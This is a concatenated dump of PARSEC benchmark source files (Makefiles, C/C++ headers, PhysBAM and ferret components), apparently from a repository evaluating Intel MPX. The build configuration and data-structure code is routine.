| #define COMPAT_H 14 | 15 | #if defined(HAVE_CONFIG_H) 16 | # include "config.h" 17 | #endif 18 | 19 | 20 | 21 | /* Directory separator */ 22 | #if defined(__unix__) || defined(__unix) || defined(unix) || defined(__UNIX__) || defined(__UNIX) || defined(UNIX) 23 | # define DIR_SEPARATOR "/" 24 | #else 25 | # define DIR_SEPARATOR "\\" 26 | #endif 27 | 28 | #endif /* COMPAT_H */ 29 | -------------------------------------------------------------------------------- /src/parsec/bodytrack/src/threads/Makefile: -------------------------------------------------------------------------------- 1 | NAME := threads 2 | SRC := Thread ThreadGroup WorkerGroup Mutex Condition Barrier RWLock 3 | 4 | CXXFLAGS += -pthread 5 | 6 | include ../subdirs_common.mk 7 | -------------------------------------------------------------------------------- /src/parsec/canneal/Makefile: -------------------------------------------------------------------------------- 1 | NAME := canneal 2 | SRC := annealer_thread rng netlist main netlist_elem 3 | 4 | VPATH := src 5 | 6 | include Makefile.$(BUILD_TYPE) 7 | include ../parsec_common.mk 8 | 9 | all: $(BUILD_PATH)/$(NAME) 10 | -------------------------------------------------------------------------------- /src/parsec/dedup/Makefile: -------------------------------------------------------------------------------- 1 | NAME := dedup 2 | SRC := binheap decoder dedup encoder hashtable queue rabin tree util 3 | 4 | VPATH := src 5 | 6 | CCFLAGS += -DMD32_REG_T=int -D_REENTRANT -DL_ENDIAN -DUSE_MMAP -D_XOPEN_SOURCE=600 -U_FORTIFY_SOURCE 7 | 8 | INC_DIR += $(PROJ_ROOT)/src/parsec/dedup/src/include 9 | LIB_DIRS += $(PROJ_ROOT)/build/libs/zlib/$(BUILD_TYPE)/lib \ 10 | $(PROJ_ROOT)/build/libs/ssl/$(BUILD_TYPE)/lib 11 | LIBS += -lssl -lz -lcrypto 12 | 13 | include Makefile.$(BUILD_TYPE) 14 | include ../parsec_common.mk 15 | 16 | .PHONY: buildlibs 17 | 18 | all: 19 | @${MAKE} buildlibs 20 | @${MAKE} $(BUILD_PATH)/$(NAME) 21 | 22 | buildlibs: export BENCH_SUITE=libs 23 | 24 | buildlibs: 25 | $(MAKE) BUILD_TYPE=$(BUILD_TYPE) -I $(PROJ_ROOT)/makefiles -C $(PROJ_ROOT)/src/$(BENCH_SUITE)/zlib 26 | $(MAKE) BUILD_TYPE=$(BUILD_TYPE) -I $(PROJ_ROOT)/makefiles -C $(PROJ_ROOT)/src/$(BENCH_SUITE)/ssl 27 | 28 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | //Define to 1 to enable parallelization with pthreads 5 | //#define PARALLEL 1 6 | 7 | //Define to desired number of threads per queues 8 | //The total number of queues between two pipeline stages will be 9 | //greater or equal to #threads/MAX_THREADS_PER_QUEUE 10 | #define MAX_THREADS_PER_QUEUE 4 11 | 12 | #endif//CONFIG_H 13 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/debug.h: -------------------------------------------------------------------------------- 1 | #ifndef _DEBUG_H_ 2 | #define _DEBUG_H_ 3 | #include 4 | #include 5 | 6 | #define TRACE(fmt, msg...) { \ 7 | fprintf(stderr, "[%s] " fmt, __FUNCTION__, ##msg); \ 8 | } \ 9 | 10 | #define EXIT_TRACE(fmt, msg...) { \ 11 | TRACE(fmt, ##msg); \ 12 | exit(-1); \ 13 | } 14 | 15 | #ifndef HERE 16 | #define HERE TRACE("file %s, line %d, func %s\n", __FILE__, __LINE__, __FUNCTION__) 17 | #endif 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/decoder.h: -------------------------------------------------------------------------------- 1 | #ifndef _DECODER_H_ 2 | #define _DECODER_H_ 1 3 | 4 | void Decode(config * conf); 5 | 6 | #endif /* !_DECODER_H_ */ 7 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/encoder.h: -------------------------------------------------------------------------------- 1 | #ifndef _ENCODER_H_ 2 | #define _ENCODER_H_ 1 3 | 4 | #define MIN_RABIN_CHUNK_SIZE (1*1024) 5 | #define MAX_RABIN_CHUNK_SIZE (60*1024) 6 | 7 | void Encode(config * conf); 8 | 9 | #endif /* !_ENCODER_H_ */ 10 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/include/openssl/ebcdic.h: -------------------------------------------------------------------------------- 1 | /* crypto/ebcdic.h */ 2 | 3 | #ifndef HEADER_EBCDIC_H 4 | #define HEADER_EBCDIC_H 5 | 6 | #include 7 | 8 | /* Avoid name clashes with other applications */ 9 | #define os_toascii _openssl_os_toascii 10 | #define os_toebcdic _openssl_os_toebcdic 11 | #define ebcdic2ascii _openssl_ebcdic2ascii 12 | #define ascii2ebcdic _openssl_ascii2ebcdic 13 | 14 | extern const unsigned char os_toascii[256]; 15 | extern const unsigned char os_toebcdic[256]; 16 | void *ebcdic2ascii(void *dest, const void *srce, size_t count); 17 | void *ascii2ebcdic(void *dest, const void *srce, size_t count); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/queue.h: -------------------------------------------------------------------------------- 1 | #ifndef QUEUE_H 2 | #define QUEUE_H 3 | 4 | #include "util.h" 5 | #include "config.h" 6 | 7 | #ifdef PARALLEL 8 | #include 9 | #endif //PARALLEL 10 | 11 | struct queue { 12 | int head, tail; 13 | void ** data; 14 | int size; 15 | int threads; 16 | int end_count; 17 | #ifdef PARALLEL 18 | pthread_mutex_t mutex; 19 | pthread_cond_t empty, full; 20 | #endif //PARALLEL 21 | }; 22 | void queue_signal_terminate(struct queue * que); 23 | void queue_init(struct queue * que, int size, int threads); 24 | int dequeue(struct queue * que, int * fetch_count, void ** to_buf); 25 | int enqueue(struct queue * que, int * fetch_count, void ** from_buf); 26 | 27 | #endif //QUEUE 28 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/rabin.h: -------------------------------------------------------------------------------- 1 | #ifndef _RABIN_H 2 | #define _RABIN_H 3 | 4 | #include "dedupdef.h" 5 | 6 | enum { 7 | NWINDOW = 32, 8 | MinSegment = 1024, 9 | RabinMask = 0xfff, // must be less than <= 0x7fff 10 | }; 11 | 12 | void rabininit(int, u32int*, u32int*); 13 | 14 | int rabinseg(uchar*, int, int, u32int*, u32int*); 15 | 16 | #endif //_RABIN_H 17 | -------------------------------------------------------------------------------- /src/parsec/dedup/src/tree.h: -------------------------------------------------------------------------------- 1 | /* Based on Data Structures and Algorithm Analysis in C (Second Edition) 2 | * by Mark Allen Weiss. 3 | * 4 | * Modified by Minlan Yu. 5 | */ 6 | #ifndef _Tree_H 7 | #define _Tree_H 8 | 9 | #include "dedupdef.h" 10 | #include "binheap.h" 11 | 12 | struct tree_element { 13 | u_int32 aid; 14 | PriorityQueue queue; 15 | }; 16 | 17 | typedef struct tree_element *TreeElementType; 18 | 19 | struct TreeNode; 20 | typedef struct TreeNode *Position; 21 | typedef struct TreeNode *SearchTree; 22 | struct TreeNode 23 | { 24 | TreeElementType Element; 25 | SearchTree Left; 26 | SearchTree Right; 27 | }; 28 | 29 | SearchTree TreeMakeEmpty( SearchTree T ); 30 | Position TreeFind( int value, SearchTree T ); 31 | Position TreeFindMin( SearchTree T ); 32 | Position TreeFindMax( SearchTree T ); 33 | SearchTree TreeInsert( TreeElementType X, SearchTree T ); 34 | SearchTree TreeDelete( TreeElementType X, SearchTree T ); 35 | TreeElementType TreeRetrieve( Position P ); 36 | 37 | #endif /* _Tree_H */ 38 | -------------------------------------------------------------------------------- /src/parsec/facesim/Makefile: -------------------------------------------------------------------------------- 1 | NAME := facesim 2 | SRC := main FACE_DRIVER FACE_LANDMARK_OPTIMIZATION_GOAL FACE_OPTIMIZATION LANDMARK_PROXIMITY_OPTIMIZATION taskQ 3 | 4 | VPATH := src 5 | 6 | CXXFLAGS += -fexceptions 7 | INC_DIR += $(PROJ_ROOT)/src/parsec/facesim/src/ \ 8 | $(PROJ_ROOT)/src/parsec/facesim/src/TaskQ/include 9 | 10 | LIB_DIRS += $(PROJ_ROOT)/src/parsec/facesim/src/lib/ 11 | LIBS += -lPhysBAM 12 | 13 | 14 | ifneq ($(strip $(NUM_THREADS)),1) 15 | CCFLAGS += -DENABLE_PTHREADS 16 | else 17 | CCFLAGS += -DNEW_SERIAL_IMPLEMENTATIOM 18 | endif 19 | 20 | include Makefile.$(BUILD_TYPE) 21 | include ../parsec_common.mk 22 | 23 | ifeq ($(CC),icc) 24 | CFLAGS += -D__thread=___thread -Kc++ 25 | endif 26 | 27 | export 28 | 29 | .PHONY: prebuild 30 | 31 | # enforce build order 32 | all: 33 | @${MAKE} prebuild 34 | @${MAKE} $(BUILD_PATH)/$(NAME) 35 | 36 | prebuild: 37 | $(MAKE) -C src/TaskQ/lib 38 | $(MAKE) -C src/Public_Library 39 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Constitutive_Models/STRAIN_MEASURE_3D.cpp: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2002-2004, Ronald Fedkiw, Geoffrey Irving, Neil Molino, Igor Neverov, Joseph Teran. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Class STRAIN_MEASURE_3D 6 | //##################################################################### 7 | #include "STRAIN_MEASURE_3D.h" 8 | using namespace PhysBAM; 9 | //##################################################################### 10 | // Function Print_Altitude_Statistics 11 | //##################################################################### 12 | template void STRAIN_MEASURE_3D:: 13 | Print_Altitude_Statistics() 14 | { 15 | NOT_IMPLEMENTED(); 16 | } 17 | 18 | //##################################################################### 19 | template class STRAIN_MEASURE_3D; 20 | template class STRAIN_MEASURE_3D; 21 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Forces_And_Torques/DIAGONALIZED_SEMI_IMPLICIT_ELEMENT_3D.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2004, Geoffrey Irving. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Class DIAGONALIZED_SEMI_IMPLICIT_ELEMENT_3D 6 | //##################################################################### 7 | #ifndef __DIAGONALIZED_SEMI_IMPLICIT_ELEMENT_3D__ 8 | #define __DIAGONALIZED_SEMI_IMPLICIT_ELEMENT_3D__ 9 | 10 | #include "../Matrices_And_Vectors/MATRIX_3X3.h" 11 | #include "../Matrices_And_Vectors/DIAGONAL_MATRIX_3X3.h" 12 | namespace PhysBAM 13 | { 14 | 15 | template 16 | class DIAGONALIZED_SEMI_IMPLICIT_ELEMENT_3D 17 | { 18 | public: 19 | int nodes[4]; 20 | T Bm_scale; 21 | DIAGONAL_MATRIX_3X3 W; 22 | MATRIX_3X3 Dm_inverse; 23 | T dt_cfl, time; 24 | 25 | //##################################################################### 26 | }; 27 | } 28 | #endif 29 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Geometry/IMPLICIT_SURFACE.cpp: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2002, 2003, 2004, Ronald Fedkiw, Sergey Koltakov, Eran Guendelman, Neil Molino, Rachel Weinstein. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | #include "IMPLICIT_SURFACE.h" 6 | using namespace PhysBAM; 7 | //##################################################################### 8 | // Function Intersection 9 | //##################################################################### 10 | template bool IMPLICIT_SURFACE:: 11 | Intersection (RAY_3D& ray, const T thickness) const 12 | { 13 | NOT_IMPLEMENTED(); 14 | } 15 | 16 | //##################################################################### 17 | template class IMPLICIT_SURFACE; 18 | template class IMPLICIT_SURFACE; 19 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Makefile: -------------------------------------------------------------------------------- 1 | default: PhysBAM 2 | 3 | PhysBAM: 4 | $(MAKE) -B -f Makefile.PhysBAM > $(CONFIG_SCRIPT_LOG) 5 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Math_Tools/abs.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2005, Eftychios Sifakis. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Function abs 6 | //##################################################################### 7 | #ifndef __abs__ 8 | #define __abs__ 9 | 10 | namespace PhysBAM 11 | { 12 | 13 | template 14 | inline T abs (const T a) 15 | { 16 | return a > 0 ? a : -a; 17 | } 18 | 19 | } 20 | #endif 21 | 22 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Math_Tools/exchange.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2002, Ronald Fedkiw. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Function exchange 6 | //##################################################################### 7 | // 8 | // exchanges the values of a and b 9 | // 10 | //##################################################################### 11 | #ifndef __exchange__ 12 | #define __exchange__ 13 | 14 | namespace PhysBAM 15 | { 16 | 17 | template 18 | inline void exchange (T& a, T& b) 19 | { 20 | T c = a; 21 | a = b; 22 | b = c; 23 | } 24 | 25 | } 26 | #endif 27 | 28 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Math_Tools/sign.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2002, Ronald Fedkiw. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Function sign 6 | //##################################################################### 7 | // 8 | // finds the sign as +1, -1, or 0 9 | // 10 | //##################################################################### 11 | #ifndef __sign__ 12 | #define __sign__ 13 | 14 | namespace PhysBAM 15 | { 16 | 17 | template 18 | inline T sign (const T a) 19 | { 20 | if (a > 0) return 1; 21 | else if (a < 0) return -1; 22 | else return 0; 23 | } 24 | 25 | } 26 | #endif 27 | 28 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Math_Tools/sqr.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2002, Ronald Fedkiw. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Function sqr 6 | //##################################################################### 7 | // 8 | // Finds the square. That is raises is to the second power. 9 | // 10 | //##################################################################### 11 | #ifndef __sqr__ 12 | #define __sqr__ 13 | 14 | namespace PhysBAM 15 | { 16 | 17 | template 18 | inline T sqr (const T a) 19 | { 20 | return a * a; 21 | } 22 | 23 | } 24 | #endif 25 | 26 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Matrices_And_Vectors/MATRIX_3X3_wrapper.h: -------------------------------------------------------------------------------- 1 | // enforce the correct order of includes 2 | 3 | #include "UPPER_TRIANGULAR_MATRIX_3X3.h" 4 | #include "MATRIX_3X3.h" 5 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Particles/SOLIDS_PARTICLE.cpp: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2004, Ron Fedkiw, Andrew Selle 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | #include "SOLIDS_PARTICLE.h" 6 | #include "../Read_Write/FILE_UTILITIES.h" 7 | using namespace PhysBAM; 8 | template PARTICLE_ATTRIBUTE_COLLECTION_MAP > SOLIDS_PARTICLE::attribute_map; 9 | //##################################################################### 10 | template class SOLIDS_PARTICLE >; 11 | template class SOLIDS_PARTICLE >; 12 | template class SOLIDS_PARTICLE >; 13 | template class SOLIDS_PARTICLE >; 14 | template class SOLIDS_PARTICLE >; 15 | template class SOLIDS_PARTICLE >; 16 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Solids_And_Fluids/DEFORMABLE_BODY_PARAMETERS.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2004, Ron Fedkiw. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Class DEFORMABLE_BODY_PARAMETERS 6 | //##################################################################### 7 | #ifndef __DEFORMABLE_BODY_PARAMETERS__ 8 | #define __DEFORMABLE_BODY_PARAMETERS__ 9 | 10 | namespace PhysBAM 11 | { 12 | 13 | template 14 | class DEFORMABLE_BODY_PARAMETERS 15 | { 16 | public: 17 | bool write; 18 | bool print_diagnostics, print_residuals; 19 | 20 | DEFORMABLE_BODY_PARAMETERS() 21 | : write (true), print_diagnostics (true), print_residuals (false) 22 | {} 23 | 24 | virtual ~DEFORMABLE_BODY_PARAMETERS() 25 | {} 26 | 27 | //##################################################################### 28 | }; 29 | } 30 | #endif 31 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Solids_And_Fluids/SOLIDS_PARAMETERS_3D.cpp: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2004-2005, Ron Fedkiw, Geoffrey Irving. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Class SOLIDS_PARAMETERS_3D 6 | //##################################################################### 7 | #include "SOLIDS_PARAMETERS_3D.h" 8 | using namespace PhysBAM; 9 | //##################################################################### 10 | // Function Initialize_Triangle_Collisions 11 | //##################################################################### 12 | template void SOLIDS_PARAMETERS_3D:: 13 | Initialize_Triangle_Collisions (const bool clamp_repulsion_thickness) 14 | { 15 | } 16 | //##################################################################### 17 | template class SOLIDS_PARAMETERS_3D; 18 | template class SOLIDS_PARAMETERS_3D; 19 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Thread_Utilities/THREAD_POOL.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2004, Andrew Selle. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | #ifndef __THREAD_POOL__ 6 | #define __THREAD_POOL__ 7 | namespace PhysBAM 8 | { 9 | 10 | class THREAD_POOL 11 | { 12 | private: 13 | static THREAD_POOL* singleton_instance; 14 | public: 15 | int number_of_threads; 16 | 17 | typedef void (*CALLBACK) (long, void*); 18 | 19 | static inline THREAD_POOL* Singleton() 20 | { 21 | if (!singleton_instance) singleton_instance = new THREAD_POOL(); 22 | 23 | return singleton_instance; 24 | } 25 | 26 | //##################################################################### 27 | THREAD_POOL(); 28 | ~THREAD_POOL(); 29 | void Add_Task (CALLBACK callback_input, void* data_input); 30 | void Add_TaskGrid (CALLBACK callback_input, int numTasks); 31 | void Wait_For_Completion(); 32 | //##################################################################### 33 | }; 34 | } 35 | #endif 36 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Utilities/LOG_ENTRY.cpp: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2004, Frank Losasso, Andrew Selle. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | #include "LOG_ENTRY.h" 6 | using namespace PhysBAM; 7 | //##################################################################### 8 | bool LOG_ENTRY::start_on_separate_line = false; 9 | bool LOG_ENTRY::log_file_start_on_separate_line = false; 10 | bool LOG_ENTRY::needs_indent = true; 11 | bool LOG_ENTRY::log_file_needs_indent = true; 12 | //##################################################################### 13 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/Public_Library/Utilities/STATIC_ASSERT.h: -------------------------------------------------------------------------------- 1 | //##################################################################### 2 | // Copyright 2006, Geoffrey Irving. 3 | // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. 4 | //##################################################################### 5 | // Header STATIC_ASSERT 6 | //##################################################################### 7 | // Simplified version of BOOST_STATIC_ASSERT (see http://www.boost.org/doc/html/boost_staticassert.html) 8 | //##################################################################### 9 | #ifndef __STATIC_ASSERT__ 10 | #define __STATIC_ASSERT__ 11 | 12 | namespace PhysBAM 13 | { 14 | 15 | template struct STATIC_ASSERTION_FAILURE; 16 | template<> struct STATIC_ASSERTION_FAILURE 17 | { 18 | typedef void TYPE; 19 | }; 20 | 21 | #define STATIC_ASSERT(c) \ 22 | typedef typename STATIC_ASSERTION_FAILURE<(c)>::TYPE static_assert##__LINE__ 23 | 24 | } 25 | #endif 26 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/TaskQ/lib/Makefile: -------------------------------------------------------------------------------- 1 | NAME := taskQ 2 | SRC := taskQDistCommon 3 | 4 | CCFLAGS += -DTASKQ_DIST_FIXED 5 | 6 | include common.mk 7 | BUILD_PATH = $(BUILD_ROOT)/$(BENCH_SUITE)/facesim/$(BUILD_TYPE) 8 | include $(TYPE_MAKEFILE) 9 | include $(PROJ_ROOT)/src/parsec/parsec_common.mk 10 | 11 | all: $(BUILD_PATH)/$(NAME).$(OBJ_EXT) 12 | 13 | $(BUILD_PATH)/$(NAME).$(OBJ_EXT): $(LLS) 14 | mv $^ $@ 15 | 16 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/TaskQ/lib/config.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Includes declarations that are needed by the splash2 apps to run 3 | * using pthreads. 4 | */ 5 | 6 | #ifndef __CONFIG_H_ 7 | #define __CONFIG_H_ 8 | 9 | #define MAX_THREADS 256 10 | 11 | #endif // __CONFIG_H_ 12 | -------------------------------------------------------------------------------- /src/parsec/facesim/src/TaskQ/lib/taskQDistFixed.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef __TASKQ_DISTLIST_H__ 3 | #define __TASKQ_DISTLIST_H__ 4 | 5 | #define VERSION "Fixed Arrays" 6 | 7 | typedef struct 8 | { 9 | volatile TaskQList shared; 10 | char padding[CACHE_LINE_SIZE]; 11 | } TaskQDetails; 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/arena.h: -------------------------------------------------------------------------------- 1 | #ifndef _ARENA_H_ 2 | #define _ARENA_H_ 3 | #if defined(__cplusplus) 4 | extern "C" { 5 | #endif 6 | 7 | typedef struct MemArena MemArena; 8 | 9 | MemArena *mkmemarena(void *(*)(size_t), void *(*)(void*, size_t), void (*)(void*), unsigned long); 10 | void freememarena(MemArena*); 11 | void memarenastats(MemArena*); 12 | void *memarenamalloc(MemArena*, unsigned long); 13 | #if defined(__cplusplus) 14 | } 15 | #endif 16 | #endif 17 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/cass_bench.h: -------------------------------------------------------------------------------- 1 | #ifndef _bench_h_ 2 | #define _bench_h_ 3 | 4 | typedef struct { 5 | int qry; 6 | int knn; 7 | int *nabors; 8 | float *dist; 9 | /* 10 | float *dists; 11 | */ 12 | } queryT; 13 | 14 | typedef struct { 15 | int cnt; 16 | float recall; 17 | float factor; 18 | } scoreT; 19 | 20 | typedef struct { 21 | int Q; 22 | queryT *qrys; 23 | scoreT *score; 24 | } benchT; 25 | 26 | int benchT_read(benchT *bench, const char *fname, int Q); 27 | 28 | void benchT_free(benchT *bench); 29 | 30 | int benchT_qry(benchT *bench, int x); 31 | 32 | int *benchT_nabors(benchT *bench, int x); 33 | 34 | void benchT_print(benchT *bench, int x); 35 | 36 | float benchT_score_topk(benchT *bench, int x, int K, int cnt, cass_list_entry_t *results); 37 | 38 | float benchT_prec_topk(benchT *bench, int x, int K, int cnt, ftopk_t *results, float *prec); 39 | 40 | float benchT_score(benchT *bench, int x, int K, int cnt, int *results); 41 | 42 | float benchT_score_dist(benchT *bench, int x, int K, int cnt, float *dists); 43 | 44 | void benchT_done(benchT *bench); 45 | 46 | #endif /* _bench_h_ */ 47 | 48 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/cass_reg.h: -------------------------------------------------------------------------------- 1 | #ifndef __CASS_REG__ 2 | #define __CASS_REG__ 3 | 4 | typedef struct { 5 | void *p; 6 | const char *n; 7 | } cass_reg_entry_t; 8 | 9 | typedef ARRAY_TYPE(cass_reg_entry_t) cass_reg_t; 10 | 11 | int cass_reg_init (cass_reg_t *reg); 12 | 13 | int cass_reg_init_size (cass_reg_t *reg, cass_size_t size); 14 | 15 | int cass_reg_cleanup (cass_reg_t *reg); 16 | 17 | int32_t cass_reg_lookup (cass_reg_t *reg, const char *n); 18 | 19 | int32_t cass_reg_find (cass_reg_t *reg, const void *n); 20 | 21 | void *cass_reg_get (cass_reg_t *, uint32_t i); 22 | 23 | 24 | int cass_reg_add (cass_reg_t *, const char *name, void *); 25 | 26 | //void cass_reg_del (cass_reg_t *, void *); 27 | 28 | #endif 29 | 30 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/cass_stat.h: -------------------------------------------------------------------------------- 1 | #ifndef _stats_h_ 2 | #define _stats_h_ 3 | 4 | typedef struct stat_t { 5 | int cnt; 6 | float min, max; 7 | float sum, sum2; 8 | struct stat_t *parallel; 9 | } stat_t; 10 | 11 | void stat_init (stat_t *s); 12 | void stat_cleanup (stat_t *s); 13 | 14 | void stat_pre_parallel (stat_t *s); 15 | void stat_post_parallel (stat_t *s); 16 | 17 | void stat_reset (stat_t *s); 18 | void stat_insert(stat_t *s, float v); 19 | float stat_min(stat_t *s); 20 | float stat_max(stat_t *s); 21 | float stat_avg(stat_t *s); 22 | float stat_std(stat_t *s); 23 | 24 | void stat_print(stat_t *s, const char *msg); 25 | 26 | #endif /* _stats_h_ */ 27 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/cass_timer.h: -------------------------------------------------------------------------------- 1 | #ifndef _TIMER_H_ 2 | #define _TIMER_H_ 3 | 4 | #include 5 | 6 | #ifdef __cplusplus 7 | extern "C" { 8 | #endif 9 | 10 | typedef struct { 11 | struct timeval start, end; 12 | float diff; 13 | } stimer_t; 14 | 15 | void stimer_tick(stimer_t *timer); 16 | 17 | float stimer_tuck(stimer_t *timer, const char *msg); 18 | 19 | #ifdef __cplusplus 20 | }; 21 | #endif 22 | 23 | #endif /* _TIMER_H_ */ 24 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/cass_type.h: -------------------------------------------------------------------------------- 1 | #ifndef CASS_TYPE 2 | #define CASS_TYPE 3 | #include 4 | #include 5 | //typedef union {float f; int32_t i;} cass_featprec_t; 6 | typedef float cass_dist_t; 7 | 8 | #define CASS_DIST_MAX MAXFLOAT 9 | 10 | #ifndef uchar 11 | typedef unsigned char uchar; 12 | #endif 13 | 14 | typedef unsigned char chunk_t; /* for bit vector */ 15 | #define CHUNK_BIT (sizeof(chunk_t) * 8) 16 | 17 | #define CASS_ID_MAX UINT_MAX 18 | typedef uint32_t cass_size_t; /* replacement of size_t */ 19 | 20 | 21 | #define CASS_ID_INV UINT_MAX 22 | typedef uint32_t cass_id_t; 23 | 24 | typedef cass_id_t cass_vec_id_t; 25 | typedef cass_id_t cass_vecset_id_t; 26 | 27 | typedef uint32_t cass_vec_dist_id_t; 28 | typedef uint32_t cass_vecset_dist_id_t; 29 | 30 | typedef uint32_t cass_vecset_type_t; 31 | typedef uint32_t cass_vec_type_t; 32 | typedef uint32_t cass_vecset_dist_type_t; 33 | typedef uint32_t cass_vec_dist_type_t; 34 | 35 | #ifndef uint 36 | typedef unsigned int uint; 37 | #endif 38 | 39 | #endif 40 | 41 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/dat.h: -------------------------------------------------------------------------------- 1 | #define LONG(p) (((p)[0]<<24)|((p)[1]<<16)|((p)[2]<<8)|((p)[3])) 2 | #define PLONG(p, l) (((p)[0]=(l)>>24),((p)[1]=(l)>>16),\ 3 | ((p)[2]=(l)>>8),((p)[3]=((uchar)(l)))) 4 | #define SHORT(p) (((p)[0]<<8)|(p)[1]) 5 | #define PSHORT(p,l) (((p)[0]=(l)>>8),((p)[1]=((uchar)(l)))) 6 | 7 | #ifndef ctassert /* Allow lint to override */ 8 | #define ctassert(x) _ctassert(x, __LINE__) 9 | #define _ctassert(x, y) __ctassert(x, y) 10 | #define __ctassert(x, y) typedef char __assert ## y[(x) ? 1 : -1] 11 | #endif 12 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_block.h: -------------------------------------------------------------------------------- 1 | #ifndef __GSL_BLOCK_H__ 2 | #define __GSL_BLOCK_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | #endif /* __GSL_BLOCK_H__ */ 25 | -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_complex_math.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/src/parsec/ferret/src/include/gsl/gsl_complex_math.h -------------------------------------------------------------------------------- /src/parsec/ferret/src/include/gsl/gsl_const.h: -------------------------------------------------------------------------------- 1 | /* const/gsl_const.h 2 | * 3 | * Copyright (C) 1996, 1997, 1998, 1999, 2000, 2004 Brian Gough 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 2 of the License, or (at 8 | * your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but 11 | * WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | * General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program; if not, write to the Free Software 17 | * Foundation, Inc., 51 Franklin Street, Fifth 